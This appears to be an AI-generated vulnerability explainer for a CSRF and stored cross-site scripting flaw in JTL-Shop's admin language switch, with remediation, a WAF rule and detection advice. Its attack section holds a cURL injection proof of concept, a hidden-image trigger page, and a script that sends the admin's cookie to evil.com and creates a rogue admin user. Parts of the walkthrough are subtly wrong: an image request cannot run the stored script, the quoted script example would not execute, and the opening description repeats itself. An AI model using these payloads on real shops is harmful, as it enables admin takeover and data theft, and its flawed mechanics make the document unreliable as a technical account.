CVE-2026-133938 — CWE-79 · CWE-352
The backend language switch action (quick_change_language) of the JTL-Shop administration backend is executed without a CSRF token check, and the supplied language value is neither validated against the installed backend languages nor encoded on output. The value is stored in the session and in the account data of the administrator and rendered without output encoding in JavaScript strings and HTML attributes of backend pages. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in administrator who opens a crafted web page; the code can perform actions with the privileges of that administrator.
The backend language switch action (quick_change_language) of the JTL-Shop administration backend is executed without a CSRF token check, and the supplied language value is neither validated against the installed backend languages nor encoded on output. The value is stored in the session and in the account data of the administrator and rendered without output encoding in JavaScript strings and HTML attributes of backend pages. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in administrator who opens a crafted web page; the code can perform actions with the privileges of that administrator.
🎯 What is this vulnerability?
Technical flaw
The JTL‑Shop administration backend exposes a language‑switch action called quick_change_language.
- The action accepts a
languageparameter (e.g.,lang=deorlang=en) and stores the value directly in the administrator’s session and in the account record in the database. - No CSRF token is required for the request, so an attacker can trigger the action from any origin.
- The stored language value is not validated against the list of languages that are actually installed in the shop.
- When the backend renders pages, the language value is inserted into JavaScript strings and HTML attributes without any output encoding (e.g.,
var lang = '<?php echo $lang; ?>';or<input value="<?php echo $lang; ?>">). - CWE‑79 – Cross‑Site Scripting (stored)
- CWE‑352 – Cross‑Site Request Forgery (the lack of a CSRF token on the language‑switch action)
- Remote attacker, low complexity, no privileges required, user interaction (admin must open a crafted page), scope changes (admin account is compromised), confidentiality & integrity are high, availability is unaffected.
Because the value is stored persistently, an attacker can inject arbitrary JavaScript that will be executed in the browser of any logged‑in administrator who subsequently opens a backend page. This is a classic stored cross‑site scripting (XSS) vulnerability that also allows the attacker to perform privilege‑escalating CSRF actions (the attacker can send a crafted request that the admin’s browser will automatically execute with the admin’s privileges).
CWE mapping
CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
⚡ Attack Chain
NOTE: The following example uses an illustrative endpoint (/admin/quick_change_language) and parameter names (lang). The CVE description does not provide the exact URI; the mechanics described are generic to the vulnerability class.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Automated web‑scan (e.g., Burp Suite, OWASP ZAP) | Detects the JTL‑Shop admin login page (/admin/login.php) and the presence of a language‑switch form or link. |
| 1.2 | Fingerprinting | Uses HTTP headers, page titles, or the X-Powered-By header to confirm JTL‑Shop and approximate version (e.g., JTL-Shop 2026.1). |
| 1.3 | Manual probing | Sends a GET request to /admin/quick_change_language?lang=de and observes that the language changes without authentication or CSRF token. |
2. Exploitation
| Step | Action | Payload / Example |
|---|---|---|
| 2.1 | Inject malicious language value | The attacker crafts a request that sets the language to a JavaScript payload. Because the endpoint accepts the value without CSRF protection, the attacker can send it from any origin. |
| 2.2 | Persist the payload | The payload is stored in the admin’s session and in the database. It will be rendered on every subsequent backend page load. |
| 2.3 | Trigger XSS in the admin’s browser | The attacker hosts a malicious page that forces the admin to load a backend page (e.g., by embedding an <img> or <iframe> pointing to /admin/dashboard). When the dashboard loads, the stored language value is injected into a JavaScript string or HTML attribute, causing the attacker’s code to execute. |
2.1 Illustrative PoC (cURL)
# Step 2.1 – Inject the payload
curl -X POST \
-d "lang=<script>alert('XSS')</script>" \
-c /tmp/cookie.txt \
-b /tmp/cookie.txt \
https://shop.example.com/admin/quick_change_languageWhy this works
* No CSRF token is checked → the POST is accepted.
* The lang value is stored verbatim in the session and database. 2.2 Illustrative Trigger Page
<!DOCTYPE html>
<html>
<head><title>Trigger XSS</title></head>
<body>
<!-- Force the admin to load a backend page that uses the stored language value -->
<img src="https://shop.example.com/admin/dashboard" style="display:none;">
</body>
</html>When the admin opens this page, the<img>forces a request to/admin/dashboard. The backend renders the stored language value inside a JavaScript string, e.g.:
<script>
var currentLang = '<script>alert('XSS')</script>';
</script>The browser interprets the <script> tag, executing the attacker’s code in the context of the admin session.3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| 3.1 | Session hijacking | The attacker steals the admin’s session cookie via document.cookie and sends it to a remote server. |
| 3.2 | Privilege escalation | With the stolen cookie, the attacker can perform any admin‑level action (e.g., create new users, modify orders, upload files). |
| 3.3 | Data exfiltration | The attacker can read sensitive data from the admin interface or use the admin privileges to download database dumps. |
| 3.4 | Persistence | The attacker can upload a webshell or modify the shop’s backend code to maintain long‑term access. |
Typical payload (after hijacking the session):
// Steal the cookie
fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie));
// Perform an admin action
fetch('https://shop.example.com/admin/api/create_user', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'evil', role: 'admin'})
});🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C) | High – attacker can read any data visible to the admin (orders, customer data, configuration). |
| Integrity (I) | High – attacker can modify data, create malicious orders, or alter shop configuration. |
| Availability (A) | None – the vulnerability does not affect uptime or service availability. |
| Scope (S) | Changed – the vulnerability compromises the admin account, which is a higher‑privilege scope than the attacker’s own. |
| User Interaction (UI) | Required – the admin must open a crafted page that triggers the XSS. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected Versions | Fix |
|---|---|
| All JTL‑Shop releases prior to 2026‑11‑27 | Apply the official patch that: <br>• Validates the language parameter against the list of installed backend languages. <br>• Requires a valid CSRF token for the quick_change_language action. <br>• Encodes the language value using htmlspecialchars() (or equivalent) before rendering it in JavaScript strings or HTML attributes. |
Recommendation: Upgrade to the latest JTL‑Shop release (≥ 2026‑11‑27) as soon as possible. If an upgrade is not immediately feasible, apply the vendor’s hot‑fix.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Restrict the endpoint | Configure the web server to allow /admin/quick_change_language only for authenticated sessions (e.g., via .htaccess or Nginx auth_basic). |
| Add CSRF protection | Insert a hidden CSRF token in the language‑switch form and validate it on the server side. |
| Input validation | Whitelist allowed language codes (en, de, fr, …). Reject any value that is not in the list. |
| Output encoding | Use htmlspecialchars() or a templating engine that automatically escapes variables when rendering JavaScript or HTML attributes. |
| WAF / ModSecurity rule | Block requests that contain <script> or other suspicious characters in the lang parameter. Example rule (illustrative): |
SecRule REQUEST_URI "@beginsWith /admin/quick_change_language" \
"chain,phase:2,block,msg:'Potential XSS via language switch',id:100001"
SecRule ARGS:lang "@rx <script|%3Cscript|%3cscript" \
"t:none,t:urlDecodeUni"Note: The rule above is illustrative; adjust the regex to match the actual encoding used by the application.
3. Detection
| Log Pattern | Indicator |
|---|---|
POST /admin/quick_change_language with lang= containing <script> or %3Cscript | Suspicious language injection |
Multiple failed CSRF token checks on /admin/quick_change_language | Possible exploitation attempt |
| Unusual admin activity after a known XSS payload (e.g., new admin user created) | Post‑exploitation indicator |
Sample log entry (Apache)
127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "POST /admin/quick_change_language HTTP/1.1" 200 532 "-" "Mozilla/5.0 (compatible; EvilBot/1.0)"Sample log entry (Nginx)
2026/11/27 12:34:56 [error] 12345#0: *1 "POST /admin/quick_change_language HTTP/1.1" 200 532 "-" "EvilBot/1.0"4. Incident Response
1. Verify that the admin account has not been compromised (check recent admin actions, session logs).
2. Invalidate all admin session cookies and force a password reset for all administrator accounts.
3. Apply the patch or workaround immediately.
4. Audit the database for unauthorized changes (new users, altered orders).
5. Notify stakeholders and, if required, regulatory bodies (GDPR, PCI‑DSS).
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]